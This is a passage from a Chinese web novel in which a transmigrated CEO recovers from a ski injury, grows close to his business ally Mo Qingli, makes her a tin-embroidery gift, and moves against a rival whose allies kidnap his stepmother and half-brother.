然后，他环顾四周，这里是一个陡峭的山谷。 陆沉渊的手机，似乎是在撞击过程中被损坏了，现在已经无法开机。 现在情况下，毫无目的地呼叫只能浪费体力。 他必须保持体力。 陆沉渊抬起头，看向头顶方向，他隐约能看到平台护栏的轮廓。 他知道，墨清漓是安全的。 这就够了。 他相信，她一定会组织救援。 他现在要做的，就是活下去。 活到，救援到来的那一刻。 陆沉渊用完好的双手，在雪地里艰难地刨动着，试图为自己挖一个能挡风的雪洞。 穿越前，在村里扶贫时，他跟老猎人学过一些野外生存的知识。没想到今天用上了。 就在陆沉渊意识渐渐模糊的时候，他忽然听到，头顶上方，传来一阵滑雪板摩擦雪地的声音。 由远及近。 陆沉渊费力地抬起头，一个白色的身影，正以一个专业而利落的姿态，从陡峭的雪坡上，向他滑来。 就像黎明前的那一束光，就算都是白茫茫的四周，依然无法掩盖她的光芒！ 是墨清漓。 她竟然，自己下来了！ 这个疯女人！ 陆沉渊的心里，又是感动，又是生气。 很快，墨清漓滑到了他的身边。 当她看到陆沉渊腿上的情况时，脸色瞬间变得惨白。 但她没有哭，也没有慌乱。 她只是跪在雪地里，用颤抖的手，轻轻地抚摸着陆沉渊的脸。 “你还活着。”她的声音，带着劫后余生的沙哑。 “我死不了。”陆沉渊扯出一个虚弱的笑容，“倒是你，怎么下来了？不要命了？” 墨清漓看着他的眼睛，突然展颜一笑，说道，“我可是墨清漓，这点难度的坡度，想要我的命，可没这么容易！” 看着这个口是心非的女人，陆沉渊的心，被狠狠地刺痛了。 陆沉渊沉默了片刻，在心里无声地说了句，“傻女人。” 很快，两人的情绪都稳定下来。 “别怕，救援队马上就到。”墨清漓说道。 墨清漓在陆沉渊身边坐下，不敢靠的太近，怕碰到他受伤的地方。 然后，墨清漓开始用手机卫星功能给林远定位。 没过多久，一阵巨大的轰鸣声，从头顶传来。 一架红白相间的救援直升机，出现在山谷上方。 救援，终于到了。 第61章 心太乱 Y国，奥斯城中心医院，VIP病房。 陆沉渊醒来时，看到的是一片纯白的天花板。 消毒水的味道，很淡。 他动了动，左腿传来一阵固定的、可以忍受的痛感。 他转过头，看到墨清漓就坐在床边的椅子上。 她没有看手机，也没有看文件，只是静静地看着窗外。 晨光透过玻璃，勾勒出她完美的侧脸。 褪去了女王的锋芒，多了一丝难得的宁静。 似乎是察觉到了陆沉渊的目光，墨清漓转回头。 不期然的四目相对，似乎并没有给墨清漓带来任何不适。 “醒了？”她的声音很轻，带着一丝沙哑。 “嗯。”陆沉渊应了一声。 “感觉怎么样？” “还好。” 简单的对话，之后是沉默。 但空气中，有什么东西不一样了。 那场冰原惊变像一块巨石，在两人之间平静的心湖里，砸出了滔天巨浪。 如今浪潮退去，湖面之下，已是另一番光景。 “医生说，身上其它地方伤势并不严重，休养一段时间就好。腿上是脱臼和轻微骨裂，没有伤到骨髓。”墨清漓主动打破沉默，开始陈述事实。 “打了石膏，静养一个月就能恢复。” “嗯。” “我已经让林远封锁了消息。国内不会有人知道。” “好。” 墨清漓站起身，为他倒了一杯温水，插上吸管，递到他嘴边。 陆沉渊没有拒绝。 他看着她，看着她专注而认真的眼神，看着她眼底尚未完全褪去的疲惫和后怕。 原著里，那个因他而黑化，亲手将陆家推入深渊的女人。 眼前，这个为他而奋不顾身，跳下悬崖的女人。 两个身影，在他的脑海中，慢慢重叠，然后又彻底分开。 他知道，从她跃下悬崖的那一刻起。 原著的剧情，对他的最后一丝束缚，已经烟消云散。 他心中的那堵墙，正在无声地崩塌。 “林远来了。”墨清漓直起身子，看向门口。 林远推门而入，神色肃穆。 “陆总。”他先是看了一眼陆沉渊，然后目光转向墨清漓，微微点头致意。 “查得怎么样？”陆沉渊问。 “查清楚了。”林远递上一个平板电脑， “雪地摩托的主人，就是滑雪场一个股东的儿子，一个典型的纨绔子弟。” “这也是在滑雪场清场后，他们依然还在的原因。” “事发前，他和朋友在禁区赛车炫技，喝了酒。摩托失控，属于意外。” “他已经被警方控制，会面临过失伤人罪的指控。” 林远汇报道。 “意外？”陆沉渊的眼神，意味深长。 “从所有证据链来看，是意外。”林远补充道，“我们的人，也查了他近期的所有通讯和资金往来，没有发现和厉修剑有任何交集。” “知道了。”陆沉渊没有再追问。 有些时候，一个看起来天衣无缝的“意外”，本身就是最大的破绽。 厉修剑的手段，比他想象的还要狠、还要隐蔽。 但这笔账，他记下了。 “Y国这边的事情，都处理好了。”墨清漓开口，“科瓦特公司的合同已经签完，新的供应链，三天内就能全面启动。墨氏的危机解除了。” “我们，该回去了。”她说。 “好。” …… 三天后，奥斯城国际机场。 陆沉渊坐在轮椅上，由林远推着，走向私人飞机的停机坪。 墨清漓与他并肩而行。 她的团队，远远地跟在后面。 一路无话。 在Y国的最后三天，墨清漓几乎寸步不离地在医院照顾他。 她做得很少，话说得也很少。 有时只是静静地坐在一旁看文件，有时会削一个苹果，切成小块放在他床头。 两人之间，形成了一种无需言语的默契。 那种感觉很奇怪。 不像恋人，却远超朋友。 像两个在雪山之巅，一同看过生死风景的旅人，彼此的生命里，已经刻下了对方的印记。 登上飞机，依旧是沉默。 宽敞的机舱里，只有他们两个人。 林远和墨清漓的助理，都很识趣地待在前舱。 陆沉渊看着窗外飞速倒退的跑道，思绪万千。 他不知道回去之后，该如何面对这段关系。 进一步？ 他还没有完全做好准备。 退一步？ 他舍不得，也不甘心。 “在想什么？”墨清漓的声音，忽然在身边响起。 “没什么。”陆沉渊收回目光。 “在想，回国之后，怎么面对我？”墨清漓一针见血。 陆沉渊一怔，随即苦笑。 在这个女人面前，他似乎总藏不住心事。 “我很难面对吗？”墨清漓追问，身体微微前倾，靠近他。 一股熟悉的、清冽的香气，萦绕在鼻尖。 “不是。”陆沉渊摇头，“是我自己的问题。” “是吗？”墨清漓凝视着他的眼睛，“陆沉渊，在雪山下，你推开我的时候，你在想什么？” 陆沉渊沉默了。 他能说什么？ 说那是身体的本能？ “我当时只有一个念头。”墨清漓没有等他的回答，自顾自地说了下去。 “我不能让你死。” 她的声音很轻，却带着万钧之力，重重地砸在陆沉渊的心上。 “所以，我跳了下去。” “现在，我们都活下来了。” 她看着他，眼神坦然而炙热。 “所以，你不需要有任何负担，也不需要想得太复杂。” “你只要，跟着你自己的心走，就好了。” 说完，她靠回自己的座位，闭上了眼睛，不再说话。 陆沉渊的心，却再也无法平静。 …… 十个小时后，飞机降落在京州国际机场。 舱门打开。 墨清漓再次变回了那个气场强大的墨氏总裁。 她率先起身，理了理衣领，脸上是恰到好处的、疏离而优雅的微笑。 陆沉渊被林远推出机舱。 墨清漓的助理团队，已经等在舷梯下。 “陆总。”墨清漓站在他面前，微微颔首。 那语气，客气得仿佛他们只是最普通的商业伙伴。 陆沉渊的心，没来由地一沉。 “墨总。”他也只能公式化地回应。 “Y国之行，合作愉快。”墨清漓说，“希望陆总早日康复。” 她顿了顿，仿佛想起了什么。 “哦，对了。” “再见。” 说完这两个字，她便转身，在一众高管的簇拥下，毫不留恋地走向了另一边的VIP通道。 只留下一个干脆利落的背影。 陆沉渊坐在轮椅上，看着她消失的方向，愣住了。 这就……完了？ 飞机上那个坦言心迹的女人，和眼前这个冷漠疏离的女人，真的是同一个人？ 他不懂。 林远推着轮椅，小心翼翼地问：“陆总，我们……回家？” “嗯。”陆沉渊收回目光，心里却像是被什么东西堵住，空落落的。 第62章 新邻居 京州市中心，顶级公寓“云顶壹号”。 一层一户，安保森严。 陆沉渊从陆家老宅搬出来后，就一直住在这里。 林远将他送回家，安顿好一切。 “陆总，厉修剑那边……” “让他再蹦跶两天。”陆沉渊坐在客厅的沙发上，揉了揉眉心，“我需要休息。” “好的。”林远点头，“那你好好休息，有事随时叫我。” 林远离开后，巨大的公寓，瞬间安静下来。 只剩下陆沉渊一个人。 他控制着电动轮椅，来到巨大的落地窗前。 窗外，是京州的万家灯火，璀璨如星河。 但他此刻，却无心欣赏。 脑海里，反复回放着墨清漓在机场那个决绝的背影，和那句轻飘飘的“再见”。 她到底想干什么？ 陆沉渊第一次，对一个女人的心思，感到了棘手和无力。 陆沉渊有些失神地拿起手边的水杯，喝了一口。 冰冷的水顺着喉咙滑下，却浇不灭心头那股莫名的躁动。 就在这时，“叮咚——”，门铃声突兀地响了起来。 陆沉渊皱眉。 现在知道他住在这里的，只有林远和张奇。 他们如果要来，一定会提前打电话。 会是谁？ 陆沉渊控制轮椅，来到玄关。 通过屏幕，陆沉渊可以清楚地看到门外的情况。 下一秒，他整个人都僵住了。 门外站着的，是一个笑意盈盈的女人。 她穿着一身居家的米白色羊绒长裙，长发随意地挽起。 手上，还提着一个精致的蛋糕盒。 不是墨清漓，又是谁？ 陆沉渊的大脑，有那么一瞬间是宕机的。 他深吸一口气，打开了门。 “嗨。”墨清漓看到他，脸上的笑容更加灿烂了。 她晃了晃手里的蛋糕。 “邻居，你好。” “我是今天刚搬来的，住在你楼下。” “按我们夏国的传统，给新邻居送点心，没打扰到你吧？” 她眨了眨眼，眼底带着一丝狡黠。 陆沉渊看着她。 看着她身上那套，和机场那身高定套装风格迥异的居家服。 看着她脸上，那副毫不掩饰的、得逞的笑容。 他忽然就全明白了。 什么机场的冷漠疏离，什么客气公式的“再见”。 全都是演的！ 这个女人！ 一股又好气又好笑的情绪，涌上心头。 他所有的烦躁、失落、郁闷，在这一刻，都化为了无奈的笑意。 他侧开身，让开通道。 “墨总，不，新邻居。”他看着她，“进来坐？” “好啊。”墨清漓毫不客气地走了进来。 她将蛋糕放在餐桌上，然后好奇地打量着他的家。 “装修得不错，很简洁，是你的风格。”她像个女主人一样，巡视着自己的领地。 陆沉渊就那么坐在轮椅上，看着她在自己的空间里，悠然自得。 那种感觉很奇妙。 这个原本空旷清冷的家，因为她的到来，仿佛瞬间被注入了温度和生气。 “你怎么会……搬到这里？”他问出了心中的疑惑。 “因为这里的房子好啊。”墨清漓理所当然地回答，“安保好，风景好，而且……” 她转过身，走到他面前，弯下腰，与他平视。 “离我的一个……嗯，腿脚不方便的朋友，比较近。” “方便我，随时过来，监督他有没有好好养伤。” 她的呼吸，轻轻地拂过他的脸颊。 陆沉渊的心跳，漏了一拍。 “墨清……”他无奈地叫着她的名字。 “叫我清漓。”她纠正他。 然后，她直起身，走到餐桌旁，打开了蛋糕盒。 是一个黑森林蛋糕。 “来，尝尝。我亲手…买的。”她拿起刀叉，切下一块，递到他面前。 亲手…买的，这是什么形容？！ 陆沉渊看了看墨清漓，片刻之后才把目光投向那块蛋糕。 他从不吃甜食。 但他还是接了过来，默默地吃了一口。 醇厚的巧克力，夹杂着微酸的樱桃酱，在口中化开。 甜而不腻，意外的好吃。 “怎么样？”她满眼期待地看着他。 “还不错。”他给出了一个中肯的评价。 墨清漓满意地笑了。 她自己也切了一块，小口地吃着。 两人都没有再说话，但气氛，却无比的和谐与温馨。 仿佛他们已经这样相处了很久很久。 一块蛋糕吃完。 墨清漓擦了擦嘴角，忽然开口，语气变得严肃起来。 “好了，私人时间结束。” “现在，谈点正事。” 她从随身的包里，拿出一个平板电脑，推到陆沉渊面前。 屏幕上，是一个极其复杂的跨国资金网络图。 中心点，指向了厉修剑。 “这是你让我查的，厉修剑所有的海外离岸账户和关联公司。”墨清漓的眼神，瞬间恢复了商界女王的锐利。 “索恩矿业那件事，虽然表面上是意外，但我的人查到，那个纨绔子弟的公司，前不久，刚从厉修剑的一个关联基金里，拿到了一笔天使投资。” “线索很微弱，构不成证据。但他一定脱不了干系。” “没错。”陆沉渊的眼神，也冷了下来。 他将自己这边，关于王辰和“瀚海数据”的证据，调了出来。 两份情报，放在一起。 一张针对厉修剑的天罗地网，彻底成型。 “国内的保护伞，海外的资金通道。”陆沉渊缓缓说道，“这是他最后的底牌。” “你想怎么做？”墨清漓问。 “双管齐下，一击致命。” 陆沉渊的指尖，在屏幕上滑动。 “海外这边，需要你来动手。” 墨清漓看着他，点了点头。 “可以。这件事，交给我。三天之内，我让他海外的每一分钱，都动弹不得。” 她的语气，充满了自信。 “然后呢？”她问，“国内这边，你准备怎么对付王辰？” 陆沉渊的嘴角，勾起一抹冰冷的弧度。 他将一份加密文件，传送到自己的手机上。 “当一头猛兽，在海外的巢穴起火时，它会拼命向自己国内的靠山求助。” “而到那时……” 他按下了发送键。 “我会把这份记录着他们所有官商勾结的铁证，连同‘未来城市’项目里，他们试图窃取利益的完整证据链，” “一起通过一个特殊的渠道，递到最该看到它的人手里。” 釜底抽薪，雷霆一击。 先斩其羽翼，再断其根基。 墨清漓看着陆沉渊眼中的寒芒，心中了然。 这场持续了数月的战争，终于要迎来终局了。 “我明白了。”她说。 “清漓。”陆沉渊忽然叫她的名字。 “嗯？” “这件事，有风险。”他看着她，认真地说，“等于把墨氏，也彻底推到了厉修监的对立面。” 墨清漓笑了，笑得云淡风轻。 “陆沉渊，你是不是忘了？” “从我决定帮你开始，从你在墨家宴会出现那一刻起，我们就已经是站在同一条船上了。” “你的敌人，就是我的敌人。” “我，是你的盟友。” 她停顿了一下，目光灼灼地看着他，一字一句地补充道： “现在是，以后也是。” 陆沉渊的心，再次被重重地击中。 “谢谢你。”这一次，他说得很真诚。 “我帮你，也是在帮我自己。”她轻声说。 “我相信我的眼光，也相信我的选择。” 夜色，愈发深沉。 公寓里，灯火通明。 对陆沉渊来说，某种东西，正在他心里破土而出。 第63章 静水深流 夜深了。 墨清漓离开了。 她没有多留，交代完所有正事，便起身告辞。 临走前，她站在门口，回头对他笑了一下。 “新邻居，晚安。” “晚安。”陆沉渊回应。 门被轻轻关上，公寓里再次恢复了安静。 但这一次，空气中似乎还残留着她身上淡淡的香气，和黑森林蛋糕的甜味。 陆沉渊控制着轮椅，回到客厅。 他看着那个空了的蛋糕盘，许久，才抬手，轻轻碰了一下自己的嘴唇。 那里，似乎还留着一丝甜意。 他笑了笑，眼底是自己都未曾察觉的温柔。 …… 接下来的日子，变得规律而平静。 陆沉渊开始了漫长的养伤生活。 渊龙科技有林远和任茜坐镇，一切运转如常。 林远每天会通过加密视频，向他汇报公司的进展。 “无距”系统的商业化推广，已经全面铺开。 几家大型车企的合作意向，也已经进入了实质性谈判阶段。 人工智能实验室那边，在陆若溪的带领下，新的算法模型，取得了突破性进展。 一切，都在向好的方向发展。 陆沉渊的存在感，被刻意降到了最低。 外界只知道渊龙科技的CEO是林远，无人知晓，这个庞大商业帝国的真正主人，正坐着轮椅，在“云顶壹号”里，过着半隐居的生活。 而墨清漓，则成了他这平静生活中，唯一的、也是最亮眼的点缀。 她真的像一个尽职尽责的“好邻居”。 每天傍晚，六点半，不多不少。 她家的门会打开，然后，他家的门铃，会在片刻之后准时响起。 她从不空手而来。 有时候，是一份的甜点。桂花糕，提拉米苏，芒果班戟。 种类从不重复。 京州各个角落的糕点店似乎都在墨清漓的掌控之中，她总能带来一些陆沉渊不曾吃过，甚至不曾见过的品种。 有时候，是一壶新泡的茶。 武夷山的大红袍，西湖的龙井，云南的普洱。 她似乎总能找到最顶级的茶叶。 她待的时间不长，通常只有半个小时。 两人会坐在客厅的沙发上，聊几句工作。 “欧洲那边的银行，已经全部就位。国际清算组织的调查申请，已经通过了第一轮审核。” “厉修剑的资金链，开始紧张了。他抛售了一部分海外非核心资产，企图回笼资金。” “王辰那边，有动静了。‘瀚海数据’的项目团队，今天和‘未来城市’的负责人，进行了第一次接触。” 两人的对话，通常是简短而高效，似乎与两个普通同事没什么区别。 交换完必要的信息，剩下的时间，便是沉默。 但这种沉默，并不尴尬。 他们会一起，看着窗外的夕阳，将天边的云彩染成金色。 看着京州的灯火，一盏盏亮起，汇成星河。 那种感觉很微妙。 仿佛两艘在商海中独自航行了多年的巨轮，终于找到了一个可以一同停靠的，宁静的港湾。 陆沉渊心中的那堵墙，早已在不知不觉间，化为无形。 他开始习惯，甚至期待，每天傍晚的门铃声。 他发现，自己对她的了解，在这些无声的相处中，日益加深。 她看似无所不能，其实味觉挑剔，只吃最新鲜的食材。 她看似冷静强大，其实很喜欢毛茸茸的小动物，手机屏保是一只布偶猫。 她看似不食人间烟火，其实，也会在吃到一块满意的点心时，眼睛亮晶晶的，像个得到糖果的孩子。 这些细微的发现，让那个名为“墨清漓”的、高高在上的女王形象，变得生动、具体，以及，触手可及。 …… 时间进入第二周。 陆沉渊的伤腿，依然被固定在石膏里，动弹不得。 每天大部分时间，他都只能坐在轮椅上。 处理完公司必要的文件，剩下的时间，便显得有些漫长。 这天下午，他让张奇送来了一些东西。 一个木制的画架。 一块绷好的，上过蜡的白色麻布。 还有一整套，看起来极其专业的工具。 各种型号的针，镊子，剪刀，以及一卷卷细如发丝的银线和锡条。 张奇看着这些东西，一脸困惑。 “陆总，您这是……” “做点小东西，打发时间。”陆沉渊淡淡地回答。 他没有过多解释。 这是独属于他，或者说，独属于他前世的秘密。 作为扶贫书记，也为了帮助他们发展特色手工艺产业。 他跟着村里最好的苗族老绣娘，学了一手濒临失传的绝活。 锡绣。 一种不用彩线，只用银丝和锡箔，在布上刺绣的古老技艺。 绣品，流光溢彩，如月光凝结，华美异常。 但过程，极其繁复，也极其考验耐心。 他已经很多年，没有碰过这些东西了。 穿越之后，他成了运筹帷幄的霸总，更没有时间去拾起这份记忆。 但现在，他有的是时间。 他想做一件礼物。 送给那个，每天给他带来甜点和温暖的女人。 他将画架，安置在落地窗前，阳光最好的地方。 然后，开始了他的工作。 他没有画草稿。 所有的图案，都在他的脑海里。 他拿起一根最细的针，捻起一根银线。 穿针，引线。 动作从一开始的生疏，慢慢变得熟练，流畅。 指尖的肌肉，似乎还保留着当年的记忆。 针尖刺入麻布。 拉紧。 再刺入。 客厅里，只剩下银针穿透布料的，细微的“沙沙”声。 陆沉渊很专注，甚至没有察觉到，时间的流逝。 直到傍晚的门铃声，再次响起。 他才如梦初醒般地抬起头。 下意识地，他拿起旁边的一块绒布，将绣架盖了起来。 他不想让她看到。 至少，在成品完成之前。 墨清漓走了进来。 今天，她带来的是一小碗冰糖燕窝。 “在忙什么？”她好奇地看了一眼那个被盖住的画架。 “随便画画。”陆沉渊回答得有些遮遮掩掩。 墨清漓没有追问，只是把燕窝，放在他手边的小桌上。 “趁热喝。” “谢谢。” 他端起碗，喝了一口。 温润，清甜。 墨清漓坐在旁边的沙发上看着他，目光自然而然地落在了他的右手上。 他的食指和拇指上，各贴着一个创可贴。 “手怎么了？”她问。 “不小心，被纸划了一下。”陆沉渊面不改色地撒谎。 那是下午，在处理一根极细的锡条时，不小心划破的。 锡绣用的锡条，边缘锋利如刀。 “是吗？”墨清漓的眼神里，带着一丝不信。 “渊龙科技的陆总，手握百亿项目，杀伐果决。居然会被一张纸划伤？” 她的语气，带着一丝揶揄。 “听起来，可不太像你的风格。” 陆沉渊喝着燕窝，没有接话。 他知道，任何解释，都可能露出破绽。 沉默，是最好的应对。 墨清漓看着他有些“心虚”的样子，嘴角的笑意更深了。 她也不再追问。 只是觉得，眼前这个男人，似乎多了一丝，她以前从未见过的、笨拙的可爱。 这个小小的插曲，很快过去。 接下来的几天时间里，墨清漓发现，陆沉渊手上的创可贴，时常会更换位置。 有时候在左手，有时候在右手。 有时候是中指，有时候是无名指。 她每次看到，都会笑着调侃他几句。 “今天，又是被什么东西划伤了？门框吗？” “陆总，你的家里，是不是该做一下安全评估了？” 陆沉渊每次都只是笑笑，不解释。 他越是这样，墨清漓的好奇心就越重。 那个盖着的绣架后面，到底藏着什么秘密？ 她猜不到。 但她有一种直觉。 那个秘密，一定和自己有关。 第64章 静水深流（续） 日子，就在这平静又带着一丝甜蜜猜谜的氛围中，一天天过去。 一个月的时间，转瞬即逝。 针对厉修剑的网，已经彻底收紧。 墨清漓动用了她在欧洲金融界的所有人脉。 十几家顶级银行，组成了联合调查团。 以“涉嫌恶意操纵市场、不正当竞争”为名，向厉修剑旗下的数十个离岸账户，发起了最严格的金融审查。 厉修剑的海外资金，被彻底冻结。 这等于斩断了他最重要的左膀右臂。 厉修剑，成了困兽。 他开始疯狂地向国内求援，而他的求援对象，只有一个。 金融监管局副局长，王辰。 而王辰所有的动作，都在陆沉渊和张奇布下的天罗地网之中。 每一次通话，每一笔可疑的资金往来，都被记录在案。 那份递向最高层的证据，也越来越厚，越来越铁。 收网的时刻，就要到了。 …… 这天下午。 陆沉渊终于拆掉了腿上的石膏。 医生检查后告诉他，骨头愈合得很好，可以尝试下地行走了。 他拄着拐杖，在张奇的搀扶下，从轮椅上站了起来。 左腿踏在地板上。 久违的、脚踏实地的感觉，让他有一瞬间的恍惚。 他试着，向前迈了一步。 有些吃力，但很稳。 再一步。 他慢慢地，松开了张奇的手，独自拄着拐杖，在客厅里，来回走了几圈。 “陆总，您慢点。”张奇在一旁，看得心惊胆战。 “我没事。”陆沉渊停下脚步，额头上渗出了一层薄汗。 他看向窗外，夕阳正浓。 再过不久，那个熟悉的门铃声，就要响起了。 他想给她一个惊喜。 “东西，做好了吗？”张奇看着角落里，那个依然被绒布盖着的绣架，好奇地问。 这一个月，他每次来汇报工作，都能看到陆总在摆弄那个东西。 他实在想不通，自家老板到底在做什么。 “嗯。”陆沉渊点了点头。 他走过去，亲手掀开了那块绒布。 张奇的眼睛，瞬间瞪大了。 绣架上，是一件已经完成的艺术品。 不，用艺术品来形容，都显得有些苍白。 那是一个巴掌大小的挂件。 主体，是一朵盛开的莲花。 花瓣，是用细密的银线，层层叠叠绣出来的。 在阳光下，闪烁着月光般清冷而柔和的光泽。 花蕊的部分，是用打磨得极薄的锡片，做成了立体的形态。 光线下，流光溢彩，熠熠生辉。 整件作品，构图精巧，工艺繁复。 既有金属的华贵，又有刺绣的温柔。 美得，让人窒息。 “这……这是您做的？”张奇结结巴巴地问，他无法把眼前这件巧夺天工的艺术品，和自己那个杀伐果断的老板联系起来。 “嗯。” 陆沉渊小心翼翼地，将挂件从绣架上取了下来。 下面，还坠着一小块打磨光滑的紫檀木。 木头上，用银丝镶嵌着两个字。 清漓。 张奇瞬间就明白了。 他看着陆沉渊的眼神，充满了敬佩和……一丝同情。 自家老板，为了追女人，真是下了血本了。 这手艺，简直了。 “你先回去吧。”陆沉渊对张奇说。 “是。”张奇识趣地离开。 张奇离开后，过了一小会儿，门铃声准时响起。 “叮咚——” 陆沉渊深吸一口气，将那个挂件，放进了口袋。 然后，他丢开拐杖，独自一人，一步一步地，向门口走去。 他的脚步还有些蹒跚，但他的腰背挺得笔直。 他打开门。 门外，墨清漓正提着一个食盒，脸上带着熟悉的微笑。 “今天做了……” 她的话，说到一半，就停住了。 她愣愣地看着，站在门口的陆沉渊。 看着他，没有坐轮椅，也没有拄拐杖。 就那样，真实地，站在自己面前。 虽然站得还有些不稳。 但那挺拔的身姿，和一个月前，一模一样。 “你……”她的声音，有些颤抖。 “我好了。”陆沉渊对她笑。 阳光从他身后的落地窗，倾泻而来，给他镀上了一层金色的轮廓。 墨清漓的眼眶，在那一瞬间，毫无预兆地红了。 这一个月来，所有的担心，所有的牵挂，在这一刻，都化为了巨大的喜悦和宽慰。 但她没有哭。 她只是上前一步，伸出手紧紧地抱住了他。 食盒“啪”的一声掉在地上，里面的汤汤水水洒了一地。 但谁也不在乎。 陆沉渊的身体，因为她突如其来的拥抱，僵了一下。 随即，他放松下来，伸出手，也回抱住她。 她的身体很软，带着熟悉的香气。 他的胸膛很硬，带着让她安心的温度。 两人都没有说话。 这个拥抱，胜过了千言万语。 许久。 墨清漓才松开他，脸上带着一丝不好意思的红晕。 “抱歉，我太激动了。”她低头，看着地上一片狼藉的食盒，“可惜了这佛跳墙。” 陆沉渊笑了。 “没关系。以后，我做给你吃。” 墨清漓猛地抬起头，惊讶地看着他。 “你会做饭？” “会一点。”陆沉渊点头。 前世在村里，什么都得自己来。 他的厨艺，虽然比不上顶级大厨，但做几道家常菜，还是没问题的。 看着她惊讶的眼神，陆沉渊的心情，前所未有的好。 他喜欢看她为自己，露出各种不同于平时的表情。 生动的，鲜活的。 他侧过身。 “进来吧，别站在门口。” “嗯。” 墨清漓走进公寓，看着他虽然缓慢、但已经能独立行走的背影，嘴角的笑容，怎么也藏不住。 陆沉渊走到客厅，停下脚步，转过身。 他从口袋里，拿出了那个锡绣挂件。 递到她面前。 “送给你。” 墨清漓的目光，落在了那个挂件上。 当她看清那朵在光线下流光溢彩的银莲，和下面紫檀木上，“清漓”两个字时。 她彻底呆住了。 她伸出手，指尖微微颤抖地，接过了那个挂件。 触手，是金属的微凉，和木头的温润。 很重，很有分量。 “这……这是……”她抬头，看着陆沉渊。 “这一个月，手上那些创可贴的，‘罪魁祸首’。”陆沉渊的语气，带着一丝笑意。 墨清漓的心，被重重地击中了。 原来…… 原来，他每天都在为自己，做这个。 原来，自己那些自以为是的调侃，在他听来，会是怎样的心情？ 一股难以言喻的酸涩和甜蜜，涌上心头。 她看着他。 看着他眼中的认真和……一丝不易察觉的期待。 “我很喜欢。” 她一字一句地说道。 “非常，非常喜欢。” 这是她这辈子，收到的，最珍贵的礼物。 陆沉渊看着她由衷的笑容，心中最后的一丝忐忑，也落了地。 就在这时。 他的手机，响了起来，是林远。 陆沉渊接起电话。 “说。” “陆总，鱼，进网了。”林远的声音，带着压抑不住的兴奋。 “王辰刚刚动用最高权限，修改了‘未来城市’数据中心的一个核心参数。” “他的所有操作，都被我们记录下来，形成了无法抵赖的证据。” “同时，厉修剑的境内账户，也刚刚向‘瀚海数据’的关联公司，转入了一笔巨额资金。” “所有的证据链，完美闭环。” “收网吧。” “是！” 第65章 棋子的落幕以及，反噬（大章） 又过了一天。 傍晚，陆沉渊和墨清漓正吃着点心。 就在这时，陆沉渊的私人电话突然响了起来，打破了这片刻的宁静。 来电显示，是一个他极少主动联系的名字，陆明业。 陆沉渊的眼底闪过一丝冷意，他知道，最后的棋子要动了。 他接起电话。 “沉渊！出事了！” 电话那头，传来陆明业惊惶失措的声音，甚至隐隐带着几分恐惧。 “柳眉……柳眉和迢迢，被绑架了！” 陆沉渊的表情，没有丝毫变化。 “谁做的？”他冷静地问。 “不知道！对方打电话过来，说要……要一千万赎金！”陆明业的声音在发抖，“他指名，要你一个人，带着钱，去城郊的废弃钢铁厂！” “沉渊，你一定要救他们！迢迢是我的儿子，是你弟弟啊！” 陆沉渊沉默着，听着电话里，自己名义上的父亲，语无伦次的哀求。 墨清漓站在一旁，也听清了电话内容。 她的眉头，微微蹙起。 她知道，这是厉修剑最后的反扑。 “沉渊，你快想想办法啊！”陆明业还在诉说着，“他们说，如果报警，就……就撕票！” “我知道了。” 陆沉渊淡淡地回应了四个字，便挂断了电话。 他转身，看向墨清漓。 “是厉修剑。”他肯定地说。 “他这是狗急跳墙了。”墨清漓的眼神，也冷了下来，“绑架妇孺，手段下作。” 她走到陆沉渊面前，伸手帮理了理他的衣领。 “需要我做什么？”她问。 她的语气平静，仿佛无论他要做什么，她都会无条件支持。 “不用。”陆沉渊平静地说道，“今晚，你看戏就好。” “你一个人去？”墨清漓不赞同。 “放心。”陆沉渊看着她的眼睛，“我从不做没有准备的事。” 他拿出另一部手机，拨通了张奇的号码。 “收网。” 只有两个字。 “明白。”张奇的回答，同样简洁。 安排完这一切，陆沉渊对墨清漓说，“我走了。” “嗯。”墨清漓点头。 当二人走出门时。 “阿渊。”她忽然叫他，声音中带着前所未有的温柔。 陆沉渊的身体，微微一震。 这是她第一次，这样叫他。 陆沉渊看向墨清漓，只听到墨清漓轻轻地说了一句， “我等你回来。” 她的眼神平静，却又带一丝炙热。 陆沉渊的心，在这一刻被彻底填满了。 他重重地点了点头。 “好。” …… 半小时后。 陆家庄园。 陆沉渊独自一人，驱车抵达。 他没有立刻去钢铁厂，而是先来了这里。 客厅里，陆明业像一头困兽，来回踱步，脸上满是恐惧。 看到陆沉渊进来，他像是看到了救星，猛地扑了过来。 “沉渊！你来了！钱准备好了吗？” 陆沉渊没有回答他的问题，只是平静地看着自己的父亲。 “你很爱她？”陆沉渊突然问道。 陆明业一愣，不知道自己的儿子在这个节骨眼上为什么问这种无关紧要的问题。 不过，陆明业很快反应过来，随即疯狂点头：“爱！我爱她！她是我这辈子最爱的女人！” “是吗？”陆沉渊的嘴角，勾起一抹嘲讽的弧度。 “那母亲呢？楼梦玲，为你生儿育女，陪你走过半生的女人，你爱过她吗？” 陆明业的脸色，瞬间变得煞白。 “我……”他支支吾吾，说不出话。 “陆若溪，你的亲生女儿，流落在外十八年，你找到她之后，有关心过她一天吗？” 陆沉渊步步紧逼。 “陆芊芊，你养了十八年的女儿，你真的了解她吗？” “还有迢迢，那个你所谓的儿子。你确定，他真的是你的儿子吗？” 陆沉渊的每一个问题，都像一把尖刀，狠狠地扎在陆明业的心上。 把他所有的自私、虚伪，都剖开来，暴露在空气里。 “你……你胡说什么！”陆明业色厉内荏地吼道，“迢迢当然是我的儿子！” “父亲。”陆沉渊的语气，没有丝毫波澜。 “在你心里，这几个孩子，到底谁最重要？” “还是说……” 陆沉渊顿了顿，目光变得锐利，似乎能够直刺陆明业的灵魂深处。 “你谁都不爱。” “你只爱你自己。就算你说爱柳眉，其实你爱的，是那个能满足你所有幻想和欲望的女子，而，并不是叫柳眉的女子。你只爱你自己。” 陆明业彻底被击溃了。 他瘫坐在沙发上，面如死灰，一句话也说不出来。 陆沉渊看着他这副模样，心中没有半分怜悯。 原著中，正是这个男人的愚蠢和自私，加速了陆家冲向万劫不复的深渊。 “我会去救人。”陆沉渊最后说道。 “不是为了你。” “只是因为，孩子是无辜的。” 说完，他转身，毫不留恋地离开。 留下陆明业一个人，在空旷的客厅里，失魂落魄。 …… 京州，城郊。 废弃的第三钢铁厂。 巨大的厂房，在夜色中像一头沉默的巨兽。 锈迹斑斑的铁门，紧紧关闭着。 陆沉渊的车，在距离钢铁厂五百米外停了下来。 然后陆沉渊下了车，夜风吹动了他的衣角，隐约露出防弹衣的一角。 他独自一人，向那座黑暗的建筑一步步走去。 他的身后，黑暗中，无数个红点，无声地亮起。 